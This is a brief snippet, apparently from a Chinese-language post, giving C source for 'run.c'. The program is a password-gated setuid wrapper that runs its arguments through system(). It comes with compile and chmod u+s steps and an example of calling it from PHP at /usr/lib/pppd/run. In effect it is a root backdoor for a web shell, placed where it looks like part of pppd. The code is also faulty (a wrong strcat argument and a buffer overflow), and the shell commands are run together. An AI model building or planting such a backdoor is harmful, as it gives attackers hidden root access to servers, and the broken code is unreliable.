run.c
[pre]#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <string.h> int main(int argc, char*argv[]) { char*pass="whoami"; if(argc < 3) { printf("error\n"); return 0; } uid_t uid ,euid; uid = getuid(); euid = geteuid(); if(setreuid(euid, uid)) perror("setreuid"); int s; if(strcmp(argv[2],pass)==0) { for(s=3;s<argc;s++) { strcat(argv[1]," "); strcat(argv[1],argv); } system(argv[1]); } else { printf("\n------Password error------\n"); } return 0; } [/pre]
gcc-Wall-orunrun.c
chmodu+srun
然后用phpsystem执行
比如:
system(‘/usr/lib/pppd/runifconfigwhoami’);
* |